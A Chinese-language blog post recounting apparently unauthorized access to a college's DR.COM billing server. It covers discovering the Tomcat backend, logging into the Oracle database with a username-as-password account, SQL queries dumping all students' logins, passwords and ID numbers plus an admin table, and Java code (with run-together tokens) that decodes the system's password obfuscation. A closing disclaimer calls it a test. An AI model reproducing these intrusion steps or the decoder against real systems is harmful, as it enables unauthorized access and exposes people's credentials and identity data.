基于DR.COM端口弱口令的研究

由于校园网采用DR.COM城市热点服务端,加上校园网速未能像往常一样快速畅通。以至于萌发突破校园网终端的想法。研究方法通过服务器后台突破,端口突破,数据库突破,以及管理员加密算法方式的研究。

突破服务器后台,首先需要知道学院充值的网址URLhttp://172.23.0.18/Self/nav_login

这样我们就知道了他服务器的主页首地址,也就是172.23.0.18。一看是用了Apache Tomcat的服务器后台。那就通过暴力搜索后台网址就好了。会发现有用的URL没有多少,闲话不多说了。想必管理人员会对下图比较熟悉吧。

但是看到帐号和密码就比较费脑筋了,随便试了几个,都不行,看来这个不是容易随便就能登录的,看了下这个主页的代码。发现用的是javascript的脚本辅助登录。

if(parseInt(trytimes)>=3){$(“#tr_random”).show();}也就是说如果尝试登录3次以上就会出现验证码,以防Demo等软件尝试进入。这里’or’=’or’也无法尝试登录,看来城市热点还是比较firewall的。

剩下的难点就是突破登录平台方面了,查找后台URL。发现有一个是数据库的页面,仔细观察一看这个Oracle 10g的版本。也能看出数据库的端口号是1521。账户名USERdrcom,密钥是**,但是也重在尝试吧,USER= PASSWD。成功。

Dllocijdbc9

然后就可以开始尝试在本地连接远程数据库了,知道了用户名,密码,和端口号,剩下的就很简单也很容易了。

查看下当前用户下的所有表:

SELECT * FROM USER_TABLES;

会展示所有的用户表,其次在查询表中数据。

SELECT a. FROM TBLREGISTERUSERA a UNION ALL SELECT b. FROM TBLREGISTERUSERSHISTORY b;

会查询到所有的学院学生的登录信息和密码,甚至还有身份证号,这弱口令造成的问题会是相当的可怕想必大家都会知道的。

在搜索下关于ADMIN方面的表。查询到USER_DATA中有一个表很有用,查询一下它会发现令人激动的信息!这简直太爽了,就像是一个陌生人不用钥匙就打开了你们家的锁,所有他想得到的东西他都会得到。
SELECT * FROM TBLADMINISTRATORS;

剩下的就是加密算法的研究了。这部分最令人头疼。但是学校初始密码为123,相对应用户表中最多的数据来看,123密码对应的加密方式为Mk*a,在仔细观察每一加密后的加密结尾都为a,也就是说a为输入两次密码后已经确认后的加密方式,如果是b结尾也就代表已被注销的用户。下面是自己写的一个3位数加密解密的代码(纯属无聊)。

import java.util.Scanner;

public class Passwd {

staticString passwd_ascii;

staticString pwd;

publicstatic void main(String[] args) {

System.out.println(“PleaseInput The Passwd :”);

Scannersc = new Scanner(System.in);

Stringpasswd = sc.nextLine();

System.out.println(“ToChange Ascii Of The Passwd To The PasswdAscii :”);

PasswdAscii(passwd);

}

privatestatic String PasswdAscii(String passwdtext) {

//TODO Auto-generated method stub

charascii[] = new char[20];

charlastChar = passwdtext.charAt(passwdtext.length() - 1);

if(lastChar != ‘a’) {

for(int i = 0; i < passwdtext.length(); i++) {

ascii[i]= passwdtext.charAt(i);// 转换成ASCII

//(int)转换成ASCII码,但存放到String

if(i == 0) {

passwd_ascii= String.valueOf((int) ascii[i] - 28);// (int)转换成ASCII码,第0

}else if (i == 1) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29);// (int)转换成ASCII码,第1

}else if (i == 2) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30);// (int)转换成ASCII码,第2

}else if (i == 3) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30 - 28);// (int)转换成ASCII码,第2

}

System.out.print(passwd_ascii+ “\t”);

System.out.print(“ThePassword is :”);

PasswordString(passwd_ascii);

System.out.println();

}

System.out.println();

}else {

for(int i = 0; i < passwdtext.length() - 1; i++) {

ascii[i]= passwdtext.charAt(i);// 转换成ASCII

//(int)转换成ASCII码,但存放到String

if(i == 0) {

passwd_ascii= String.valueOf((int) ascii[i] - 28);// (int)转换成ASCII码,第0

}else if (i == 1) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29);// (int)转换成ASCII码,第1

}else if (i == 2) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30);// (int)转换成ASCII码,第2

}else if (i == 3) {

passwd_ascii= String.valueOf((int) ascii[i] - 28 - 29 - 30

+126 - 30 - 28);// (int)转换成ASCII码,第2

}

System.out.print(passwd_ascii+ “\t”);

System.out.print(“ThePassword is :”);

PasswordString(passwd_ascii);

System.out.println();

}

System.out.println(“NULL!”);

}

returnpasswd_ascii;

}

privatestatic String PasswordString(String passwd_ascii) {

pwd= passwd_ascii;

for(int i = 0; i < 1; i++) {

//String -> int -> char -> LASTPWD

intIntPwd = Integer.parseInt(pwd);

charLASTPWD = (char) (IntPwd);

System.out.print(LASTPWD+”\t”);

}

returnpwd;

}

}

// 每个字符加密后ASCII都是在32-126之间,从第一位开始加28,第二位加28+29,第三位加28+29+30,如果超过126的部分,则返回32开始。

最后,通过这一次的尝试,我想说弱口令真的很可怕,希望我的朋友们在设置您的密码的时候最好都不要使用到弱口令,您的信息安全特别重要,请误告诉他人。

纯属测试,请勿用于非法、商务途径,后果自负。